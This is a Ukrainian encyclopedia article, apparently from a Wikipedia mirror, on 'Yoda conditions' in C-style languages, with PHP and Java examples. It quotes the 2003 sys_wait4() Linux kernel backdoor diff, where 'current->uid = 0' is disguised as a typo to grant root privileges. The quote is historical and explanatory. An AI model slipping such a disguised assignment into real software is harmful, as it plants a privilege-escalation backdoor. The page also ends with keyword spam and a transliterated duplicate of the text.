Умови Йоди (від англ. Yoda conditions), або нотація Йоди (англ. Yoda notation) у — «безпечний» стиль запису виразів порівняння при програмуванні мовами з Сі-синтаксисом, що полягає у написанні спочатку значення змінної, а потім - самої змінної. Такий запис дозволяє виявити на етапі компіляції і виправити помилку, властиву подібним мовам — операцію присвоєння =
, помилково записану замість операції порівняння «==
».
Названо на честь магістра Йоди зі всесвіту «Зоряних воєн», який має манеру змінювати порядок слів фрази.
Суть нотації
У класичній нотації перевірка змінної на рівність певній константі записується так (приклад мовою PHP):
if ( $variable == 52 ) { /* дії, що виконуються, якщо змінна дорівнює 52 */ }
тобто змінна, операція порівняння і константа. Дана конструкція вразлива щодо відомої помилки:
if ( $variable = 52 ) { // ПОМИЛКА: ПРИСВОЄННЯ змінній значення 52 /* дії, що виконуються ЗАВЖДИ */ }
Такий код є синтаксично правильним, і при неналежному тестуванні може залишитися у програмі на тривалий час і стати причиною значної вразливості.
При застосуванні нотації Йоди змінну і константу міняють місцями, так що константа виявляється ліворуч:
if ( 52 == $variable ) { /* дії, що виконуються, якщо змінна дорівнює 52 */ }
При такій нотації у випадку описки в операторі порівняння виходить синтаксично некоректне присвоєння константі і програма не буде працювати, поки помилка не буде знайдена і виправлена.
if ( 52 = $variable ) { // ПОМИЛКА при компіляції /* ... */ }
Альтернативне використання нотації
Нотація Йоди також застосовна при розв'язанні проблеми небезпечної «нульової поведінки» (англ. unsafe null behavior) наприклад (приклад мовою Java):
String myString = null; if ( myString.equals("foobar") ) { // Викликає NullPointerException /* ... */ }
При застосуванні нотації Йоди:
String myString = null; if ( "foobar".equals(myString) ) { // Результат - Хибність /* не виконується */ }
Переваги та недоліки
Використання нотації Йоди не дозволяє програмам мовами C++, Java, PHP тощо працювати за наявності помилок у виразах порівняння (поведінку програми ця модифікація не змінює). Деякі програмісти вважають застосування даної нотації «ознакою гарного тону».
До недоліків нотації відносять складність написання, модифікації й читання програми, а також вузьку галузь застосування — тільки перевірка рівності, тільки порівняння з константою. Сучасні інструментальні засоби розробки (компілятори, редактори) дозволяють відслідковувати і видавати попередження за наявності присвоєння в керувальній конструкції, вважаючи його потенційно помилковим.
Помилка sys_wait4()
Цікавим є невдалий бекдор у функції sys_wait4()
в ядрі Linux (2003). Розробка велась на пропрієтарній системі керування версіями , а ночами код викладався на загальний огляд на більш поширеній CVS. Цю CVS і зламали, додавши у функцію sys_wait4()
два рядки, що перевіряють вхідні дані на некоректну комбінацію прапорців:
+ if ((options == (__WCLONE|__WALL)) && (current->uid = 0)) + retval = -EINVAL;
Бекдор було замасковано під звичайну описку — замість ==
стояло =
. Таким чином, передача до функції двох прапорців, що суперечать один одному, виконувала код current->uid = 0
, тобто давала програмі права суперкористувача.
Зміну виявлено під час автоматичного перенесення змін з BitKeeper до CVS — не збігся електронний підпис (за іншими даними, скрипт-експортер поскаржився на дивну дату файлу). Помилка в принципі не могла пройти у стабільне ядро (зв'язок між BitKeeper і CVS односторонній). Автора «дірки» знайти не вдалось.
Примітки
- . Архів оригіналу за 28 січня 2014. Процитовано 28 червня 2014.
- . Архів оригіналу за 15 жовтня 2014. Процитовано 28 червня 2014.
- Новина про спробу злому Linux на Slashdot
Посилання
Англійською
- united-coders.com: What are Yoda Conditions? Examples in Java
- New programmier jargon. Mentions Yoda Conditions in a list of new programming jargon
- Coding in Style. Probable origin of the term
Російською
- Жаргон программистов — Условие Йоды
Вікіпедія, Українська, Україна, книга, книги, бібліотека, стаття, читати, завантажити, безкоштовно, безкоштовно завантажити, mp3, відео, mp4, 3gp, jpg, jpeg, gif, png, малюнок, музика, пісня, фільм, книга, гра, ігри, мобільний, телефон, android, ios, apple, мобільний телефон, samsung, iphone, xiomi, xiaomi, redmi, honor, oppo, nokia, sonya, mi, ПК, web, Інтернет
Umovi Jodi vid angl Yoda conditions abo notaciya Jodi angl Yoda notation u bezpechnij stil zapisu viraziv porivnyannya pri programuvanni movami z Si sintaksisom sho polyagaye u napisanni spochatku znachennya zminnoyi a potim samoyi zminnoyi Takij zapis dozvolyaye viyaviti na etapi kompilyaciyi i vipraviti pomilku vlastivu podibnim movam operaciyu prisvoyennya pomilkovo zapisanu zamist operaciyi porivnyannya Nazvano na chest magistra Jodi zi vsesvitu Zoryanih voyen yakij maye maneru zminyuvati poryadok sliv frazi Sut notaciyiU klasichnij notaciyi perevirka zminnoyi na rivnist pevnij konstanti zapisuyetsya tak priklad movoyu PHP if variable 52 diyi sho vikonuyutsya yaksho zminna dorivnyuye 52 tobto zminna operaciya porivnyannya i konstanta Dana konstrukciya vrazliva shodo vidomoyi pomilki if variable 52 POMILKA PRISVOYeNNYa zminnij znachennya 52 diyi sho vikonuyutsya ZAVZhDI Takij kod ye sintaksichno pravilnim i pri nenalezhnomu testuvanni mozhe zalishitisya u programi na trivalij chas i stati prichinoyu znachnoyi vrazlivosti Pri zastosuvanni notaciyi Jodi zminnu i konstantu minyayut miscyami tak sho konstanta viyavlyayetsya livoruch if 52 variable diyi sho vikonuyutsya yaksho zminna dorivnyuye 52 Pri takij notaciyi u vipadku opiski v operatori porivnyannya vihodit sintaksichno nekorektne prisvoyennya konstanti i programa ne bude pracyuvati poki pomilka ne bude znajdena i vipravlena if 52 variable POMILKA pri kompilyaciyi Alternativne vikoristannya notaciyiNotaciya Jodi takozh zastosovna pri rozv yazanni problemi nebezpechnoyi nulovoyi povedinki angl unsafe null behavior napriklad priklad movoyu Java String myString null if myString equals foobar Viklikaye NullPointerException Pri zastosuvanni notaciyi Jodi String myString null if foobar equals myString Rezultat Hibnist ne vikonuyetsya Perevagi ta nedolikiVikoristannya notaciyi Jodi ne dozvolyaye programam movami C Java PHP tosho pracyuvati za nayavnosti pomilok u virazah porivnyannya povedinku programi cya modifikaciya ne zminyuye Deyaki programisti vvazhayut zastosuvannya danoyi notaciyi oznakoyu garnogo tonu Do nedolikiv notaciyi vidnosyat skladnist napisannya modifikaciyi j chitannya programi a takozh vuzku galuz zastosuvannya tilki perevirka rivnosti tilki porivnyannya z konstantoyu Suchasni instrumentalni zasobi rozrobki kompilyatori redaktori dozvolyayut vidslidkovuvati i vidavati poperedzhennya za nayavnosti prisvoyennya v keruvalnij konstrukciyi vvazhayuchi jogo potencijno pomilkovim Pomilka sys wait4 Cikavim ye nevdalij bekdor u funkciyi sys wait4 v yadri Linux 2003 Rozrobka velas na propriyetarnij sistemi keruvannya versiyami a nochami kod vikladavsya na zagalnij oglyad na bilsh poshirenij CVS Cyu CVS i zlamali dodavshi u funkciyu sys wait4 dva ryadki sho pereviryayut vhidni dani na nekorektnu kombinaciyu praporciv if options WCLONE WALL amp amp current gt uid 0 retval EINVAL Bekdor bulo zamaskovano pid zvichajnu opisku zamist stoyalo Takim chinom peredacha do funkciyi dvoh praporciv sho superechat odin odnomu vikonuvala kod current gt uid 0 tobto davala programi prava superkoristuvacha Zminu viyavleno pid chas avtomatichnogo perenesennya zmin z BitKeeper do CVS ne zbigsya elektronnij pidpis za inshimi danimi skript eksporter poskarzhivsya na divnu datu fajlu Pomilka v principi ne mogla projti u stabilne yadro zv yazok mizh BitKeeper i CVS odnostoronnij Avtora dirki znajti ne vdalos Primitki Arhiv originalu za 28 sichnya 2014 Procitovano 28 chervnya 2014 Arhiv originalu za 15 zhovtnya 2014 Procitovano 28 chervnya 2014 Novina pro sprobu zlomu Linux na SlashdotPosilannyaAnglijskoyu united coders com What are Yoda Conditions Examples in Java New programmier jargon Mentions Yoda Conditions in a list of new programming jargon Coding in Style Probable origin of the term Rosijskoyu Zhargon programmistov Uslovie Jody